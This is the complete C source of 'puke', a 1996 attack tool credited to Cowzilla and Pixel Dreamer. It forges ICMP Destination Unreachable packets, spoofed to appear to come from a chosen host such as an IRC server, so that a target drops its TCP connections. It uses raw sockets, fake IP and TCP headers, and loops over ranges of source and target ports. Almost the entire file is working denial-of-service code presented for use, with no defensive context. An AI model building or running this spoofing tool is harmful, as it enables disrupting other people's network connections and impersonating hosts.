/*****************************************************************************
 * puke - By Cowzilla, and Pixel Dreamer
 *****************************************************************************

   puke spoofs an icmp unreachable error from an irc host (or any other
host for that matter), to a target host, from a source port(s), to the
target port(s).  The target host will (hopefully) pass this error up to
the application layer and the TARGET will drop the connection from the
SOURCE.  We say "hopefully", because through enabling IP Firewalling and
filtering out ICMP Unreachables a host can be immune to these attacks
(most ISPs, and larger networks have some sort of firewall configured, but
some still, do not filter out our ICMP Unreachable messages).

Modified October 13, 1996 - Pixel Dreamer
 +Output modified greatly, description of ICMP being sent
 +Small optimization techniques applied, more to be applied later
 -Upper to Lower bounds disabled on accident

Modified October 13, 1996 - Cowzilla
 +Better descriptions of ICMP message
 +Upper to Lower bounds reinstated :P

-----------> Syndicate 96
*****************************************************************************/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <string.h>

#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct icmphdr) + \
      sizeof(struct iphdr) + 8)
#define ICMPSIZE   (sizeof(struct icmphdr) + sizeof(struct iphdr) + 8)
#define offsetTCP  (sizeof(struct iphdr) + sizeof(struct icmphdr) + \
      sizeof(struct iphdr))
#define offsetIP   (sizeof(struct iphdr) + sizeof(struct icmphdr))
#define offsetICMP (sizeof(struct iphdr))
#define offsetRIP  (0)

static int thecode;

u_short cksum(u_short *, int);
void sendkill(char *, int, char *, int);
void resolve_address(struct sockaddr *, char *, u_short);

u_short cksum(u_short *buf, int nwords)
{
   unsigned long sum;

   for (sum = 0; nwords > 0; nwords--)
      sum += *buf++;
   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   return ~sum ;
}

void resolve_address(struct sockaddr * addr, char *hostname, u_short port)
{
   struct  sockaddr_in *address;
   struct  hostent     *host;

   address = (struct sockaddr_in *)addr;
   (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
 
   /* fill in the easy fields */
   address->sin_family = AF_INET;
   address->sin_port = htons(port);
 
   /* first, check if the address is an ip address */
   address->sin_addr.s_addr = inet_addr(hostname);
   if ( (int)address->sin_addr.s_addr == -1) {
        /*it wasn't.. so we try it as a long host name */
        host = gethostbyname(hostname);
        if (host) {
                /* wow.  It's a host name.. set the fields */
                /* ?? address->sin_family = host->h_addrtype; */
                bcopy( host->h_addr, (char *)&address->sin_addr,
                host->h_length);
                }
        else {
                /* oops.. can't find it.. */
                puts("Couldn't resolve address!!!");
                exit(-1);
        }
   }
/* all done. */
}

 
void sendkill(char *fromhost, int fromport, char *tohost, int toport)
{
 char *packet;
 static struct sockaddr_in local, remote;
 static int sock = 0;

 if (!sock) {
    resolve_address((struct sockaddr *)&local, fromhost, fromport);
    resolve_address((struct sockaddr *)&remote, tohost, toport);
    sock = socket(AF_INET, SOCK_RAW, 255);
       if (sock==-1)
       {
          perror("Getting raw socket");
   exit(-1);
       }
 }
 /*
  .  Get memory for the packet
 */
 packet = (char *)malloc(PACKETSIZE);
 if (!packet) {
    perror("Getting space for packet");
    exit(-1);
 }

 /*
  . Fill in our pretended TCP header
         . note - since this was allegedly an outgoing packet...  we have
         . to flip the source and destination stuff
 */
 {
    struct tcphdr *fake_tcp;
    fake_tcp = (struct tcphdr *)(packet + offsetTCP);
    fake_tcp->th_dport = htons(fromport);
    fake_tcp->th_sport = htons(toport);
    fake_tcp->th_seq = 0x1984;
 }
 /*
  . fill in the fake IP header.
         . the same reversal as above still applies.. the packet was sent
         . to our machine (yeah right)
 */
 {
    struct iphdr *fake_ip;
    fake_ip = (struct iphdr *)(packet + offsetIP);
 
    /* these fields are irrelevant -- never checked?? */
    fake_ip->version = 4;
    /* this was much longer.. once */
    fake_ip->tot_len = htons(0x2C);
    fake_ip->tos = 0;
    fake_ip->id = htons(getpid() & 255);
    fake_ip->frag_off = 0;
    fake_ip->ttl = 24; /* not so long to live anymore */
    /* this CAN'T be checked..so do something != 0 */
    fake_ip->check = 3805;
 
    /* these fields are used ..  */
    fake_ip->ihl = 5;
    bcopy((char *)&local.sin_addr, &fake_ip->daddr,
  sizeof(fake_ip->daddr));
    bcopy((char *)&remote.sin_addr,&fake_ip->saddr,
  sizeof(fake_ip->saddr));
    fake_ip->protocol = 6;  /* a TCP packet */
 }

 /*
  . fill in the ICMP header
  . this is actally rather trivial, though don't forget the checksum
 */
 {
    struct icmphdr *icmp;
     icmp = (struct icmphdr *)(packet + offsetICMP);
 
    icmp->type = 3;
    icmp->code = thecode; /* this will generate an error message */
    icmp->un.gateway = 0;
    icmp->checksum = cksum((u_short *)(icmp), ICMPSIZE >> 1);
 }
 /*
  . finally, fill in the IP header
    . this is almost the same as above.. though this time, it is the
         . ip header that really takes the packet places. make sure the
  . checksum and addresses are right
 */
 {
    struct iphdr *real_ip;
    real_ip = (struct iphdr *)packet;
 
    real_ip->version = 4;
    real_ip->ihl = 5;
    real_ip->tot_len = htons(PACKETSIZE);
    real_ip->tos = (7 << 5) | 4;
    real_ip->ttl = 255;
    real_ip->protocol = 1;
    real_ip->check = 0;
    real_ip->id = htons(3);
    real_ip->frag_off = 0;
           bcopy((char *)&local.sin_addr, &real_ip->saddr,
  sizeof(real_ip->saddr));
           bcopy((char *)&remote.sin_addr, &real_ip->daddr,
  sizeof(real_ip->daddr));

/*
    real_ip->saddr = htonl(ntohl(real_ip->daddr) & 0xffffff00L);
*/
    real_ip->check = cksum((u_short  *)packet,
  sizeof(struct iphdr) >> 1);
 }
 /*
         .
  . and now.. finally...  send it out into the net
 */
 {
    int result;

    result = sendto(sock, packet, PACKETSIZE, 0,
   (struct sockaddr *)&remote, sizeof(remote));
    if (result != PACKETSIZE) {
   perror("sending packet");
    }

 }
}

char *ICMP_TYPE(void)
{
   char *mytype;
   mytype = "Unknown Type";
   switch(thecode)
   {
      case 0:
         mytype = "Net Unreacheable";
  break;
      case 1:
         mytype = "Host Unreacheable";
  break;
      case 2:
  mytype = "Protocol Unreacheable";
         break;
      case 3:
         mytype = "Port Unreacheable";
  break;
      case 4:
  mytype = "Fragmentation Needed (doesnt cause reset)";
         break;
      case 5:
  mytype = "Source Route Failed";
  break;
      case 6:
  mytype = "Net Unknown";
  break;
      case 7:
  mytype = "Host Unknown";
  break;
      case 8:
  mytype = "Host Isolated";
  break;
      case 9:
  mytype = "AuthNet";
  break;
      case 10:
  mytype = "AuthHost";
  break;
      case 11:
  mytype = "NetSvc";
  break;
      case 12:
  mytype = "HostSvc";
  break;
      case 13:
  mytype = "Packet Filtered";
  break;
      case 14:
  mytype = "Precedence Violation";
  break;
      case 15:
  mytype = "Precedence Cutoff";
  break;
   }
   return(mytype);
}

main(int argc, char *argv[]) {
   int si, i, codes;
 
   if ((argc < 8) || (argc > 9))
   {
      puts("usage:");
      puts("   puke <source host> <source port low> <source port high> \\");
      puts("      <target host> <target port low> <target port high> <unreach type> \\" );
      puts("      [-v] (optional verbose mode)");
      exit(-1);
   }

   thecode = atoi(argv[7]);
   printf("Using ICMP Destination Unreacheable Code %d [%s]\n", thecode,
  ICMP_TYPE());

   for (si = atoi(argv[2]); si <= atoi(argv[3]); si++)
   {
      printf("*** Source Port: %d\n", si);
      if (argc == 8)
         printf("*** Target Port : %d to %d\n", atoi(argv[5]), atoi(argv[6]));

      if (atoi(argv[5]) <= atoi(argv[6]))
      {
         for (i = atoi(argv[5]); i <= atoi(argv[6]); i++)
         {
     if ((argc > 8) && (strcmp(argv[8],"-v")==0))
        printf("%d \n", i);
     sendkill(argv[1], si, argv[4], i);
     usleep(30000);
  }
      }
      else
      {
         if (argc == 8) printf("*** Target Port : %d downto %d\n",
  atoi(argv[5]), atoi(argv[6]));
         for (i = atoi(argv[5]); i >= atoi(argv[6]); i--)
  {
     if ((argc > 8) && (strcmp(argv[8],"-v")==0))
        printf("%d \n", i);
     sendkill(argv[1], si, argv[4], i);
     usleep(30000);
  }
      }
   }
}